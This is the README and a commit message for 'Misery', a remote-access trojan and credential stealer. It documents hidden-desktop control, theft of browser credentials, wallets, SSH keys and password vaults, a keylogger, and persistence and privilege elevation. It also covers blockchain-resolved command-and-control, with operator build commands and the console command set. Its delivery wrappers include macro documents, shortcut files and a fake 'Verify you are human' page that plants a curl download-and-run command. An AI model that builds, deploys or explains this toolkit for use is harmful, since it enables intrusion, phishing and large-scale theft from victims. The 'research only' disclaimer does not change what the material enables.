Files
JYenn-Misery/README.md
T
JYenn 13e6ad7063 EtherHiding C2: resolve the TCP endpoint from a smart contract
The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
2026-08-20 22:39:40 +01:00

10 KiB

Misery

Misery
a devoted sister of the Church of Malware

A HVNC remote-access trojan and stealer rebuilt for the App-Bound Encryption era.

Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent spawns a suspended browser and reflectively injects a payload DLL, which walks that COM object in-process so decrypted credentials never touch disk. ABE research is all xaitax. Local testing and research only.

Demo

Misery demo

VirusTotal

VirusTotal scan result

Features

  • 🖥️ Hidden desktop (hvnc start / hvnc launch chrome): GDI apps and a real Chromium on a hidden desktop, streamed live
  • 🌐 Ghosted browser (ghost <url>): hidden Chrome/Edge session using the victim's cookies and logins
  • 🔑 Credential harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox
  • 💳 App-session harvesting: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extensions, Signal sessions
    • Password managers (password_managers): LastPass (raw vault capture), Windows Credential Manager, Proton Pass (raw vault capture)
    • Games (games): Minecraft accounts, Roblox cookies, Epic, Battle.net, Riot, Ubisoft, GOG, EA, Rockstar
    • Network clients (network_clients): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
    • AI assistants (ai_assistants): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
  • 🔐 Encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
  • 🧊 EtherHiding C2: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
  • 📦 Payload builder (setup.py): msfvenom-style config, ECDH key handling, -p wrappers for 9 delivery formats
  • ⌨️ Keylogger and clipboard monitoring
  • 🪝 Persistence: user-registry Run key and WMI event subscriptions
  • 🕵️ Anti-analysis: user-mode environment checks, reflective injection

How it works

  • 🔐 Channel: the console holds the private half of an ECDH P-256 keypair in .misery_key; the agent only ever ships the public half. Every session derives a fresh AES-256-GCM key from the handshake, so no key material repeats across bots.
  • 💉 Stealing: the v20 master key comes from the COM IElevator service, called inside a suspended, freshly spawned browser via reflective payload injection so the process-path check passes. The offline agent falls back to the DPAPI v10 key. No disk write, and the browser never visibly opens.
  • 🖥️ HVNC: GDI apps run on a hidden desktop and stream frames to the operator view. Ghosted sessions drive a real Chromium over the Chrome DevTools Protocol, logged into the victim's profiles; the browser is basically them.
  • ⬆️ Elevation: relaunch as admin via a forged PEB (process environment block) and COM auto-elevation (CMSTPLUA/ICMLuaUtil), then SYSTEM through SeDebug token theft from a non-PPL process.

Tested On

Target Version
Google Chrome 151.0.7922.140
Microsoft Edge 151.0.4129.59
Elevation chain Windows 11 25H2 (build 26200)

Quick start

setup.py writes src/config.h, saves the console's ECDH key to .misery_key, and builds the project:

python setup.py -g                                        # interactive
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent   # non-interactive

Run the console listener, then the agent:

.\build\console.exe
.\build\agent.exe

Type help in the console for the full command list.

CDN mode

Same console and commands, no public IP. The agent POSTs encrypted frames to a Cloudflare Worker that relays through a Zero Trust Tunnel to the console.

python setup.py -t https_cdn BEACON_URL=https://<you>.workers.dev/poll AUTH_SECRET=<secret> TUNNEL_HOST=c2.example.com

setup.py emits deploy/worker.js and deploy/cloudflared-config.yml. Deploy the worker with wrangler deploy deploy/worker.js, fill the tunnel UUID into the config, cloudflared tunnel run <name>.

EtherHiding C2

The agent can resolve its TCP endpoint from a smart contract on a public chain (eth_call, free and read-only), so the compiled binary carries no C2 address. Rotate the C2 by updating the contract; every bot picks up the new value on its next start. A dead RPC or decode failure falls back to the compiled endpoint.

  1. Deploy the resolver once in Remix or on the chain explorer (contract source is in tools/etherhiding.py).
  2. Store the endpoint, and read it back:
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
python tools\etherhiding.py read    --contract 0x...
  1. Build with the resolver wired in; the wizard asks for it under TCP, or pass it directly:
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com

The value is a bytes32 host:port, 31 chars max. HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override both at runtime; an explicit agent argv endpoint overrides the chain.

Payload wrappers

The builder (setup.py -p <formats>) packages the agent into delivery filetypes in dist/ and records each one in <out>.manifest.json with its sha256 and size. python setup.py --list-formats prints the current list with dependencies.

  • docm - Word macro document; Document_Open shells a hidden cmd/curl download-and-run from a compiled base (wrappers_bases/docm_base.docm)
  • xlsm - Excel macro workbook; Workbook_Open shells the same chain from a compiled base (wrappers_bases/xlsm_base.xlsm); runtime values live in a hidden cfg sheet
  • lnk - shortcut plus companion .cmd; the LNK probes Downloads/Desktop for the .cmd, which opens a decoy PDF then fetches and runs the agent (the chain lives in the .cmd because Defender's FastPath flags any LNK-launched curl download cmdline)
  • pdf - agent embedded as a PDF attachment, launched on open
  • html - OneDrive-style page; the agent hides in a zip blob behind a button click
  • clickfix_html - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
  • iso - ISO with the agent inside, sidesteps MOTW
  • polyglot_exe_zip - runs as an exe, opens as a zip holding a document.pdf.lnk and its companion .cmd
  • polyglot_html - runs as an exe, shows a decoy page in a browser
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://127.0.0.1:8080/misery.exe

-p all builds every format. The macro, lnk, clickfix, and polyglot_exe_zip formats fetch the agent from STAGE_URL when the target opens them; pdf, html, iso, and polyglot_html carry the agent themselves.

Delivery notes:

  • The docm/xlsm bases are compiled by Office itself; pyopenvba-style rebuilds write source-only streams whose auto-events never hook (root-caused live 2026-08). Builds inject only the stage URL and agent filename, so no macro stream is ever rewritten.
  • The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as STAGE_URL; host the generated <out>.cmd and <out>.decoy.pdf next to the agent.
  • Downloaded files get the Mark-of-the-Web, which trips SmartScreen on macros and executables. Extract a container with 7-Zip or WinRAR to drop it. That's the route for macro and exe formats; pdf and html serve fine straight from a browser.
  • Optional libs; a missing one just skips its formats: pip install pylnk3 pycdlib pikepdf python-docx openpyxl

The docm/xlsm bases live in wrappers_bases/ and ship with the repo; rebuild them in Office if you ever change the macro logic (see the wrapper docstring notes), then commit the new base.

Commands

Command What it does
bot list bots; bot <id> targets one, bot all broadcasts
steal run credential and session harvesting
loot / dump replay the last steal result as boxed terminal sections
elevate [system] relaunch the agent as admin; system chains to SYSTEM
hvnc start / hvnc stop start or stop the hidden desktop session
hvnc launch [path] launch an app (default Chrome) on the hidden desktop
hvnc quality [10-100] set streamed frame JPEG quality
ghost <url> open a URL in a ghosted hidden browser
ghost nav <url> navigate the ghost browser
ghost stop stop the ghost session
keylog toggle the keylogger
clip read the victim's clipboard
shell / ps <cmd> run a hidden PowerShell one-liner on the agent
history show command history
clear / exit clear the terminal / quit

Build

Requires cmake and a C++ toolchain (MSVC, MinGW, or Clang).

MSVC:

cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

MinGW:

cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4

A fresh checkout builds against 127.0.0.1:4444. Run setup.py once so .misery_key exists.

Layout

  • src/agent: entry, C2 client, injector, persistence
  • src/console: operator console + listener
  • src/payload: payload DLL, reflective loader, trampoline
  • src/stealer: Misery-derived sources
  • src/hvnc: hidden-desktop session
  • src/ghost: ghosted browser session
  • src/browser: CDP client (Page/Input over WebSocket)
  • src/rat: keylogger + clipboard
  • src/transport: encrypted TCP framing, HTTPS beacon carrier, compression
  • src/evasion: indirect syscalls, anti-analysis, UAC/token elevation, helpers
  • tools/: operator helpers (EtherHiding resolver read/update)
  • wrappers_bases/: Office-authored compiled macro bases used by the docm/xlsm wrappers
  • build/: out-of-source build dir

Licence

No licence granted. Research code for study only; not licensed for redistribution or commercial use.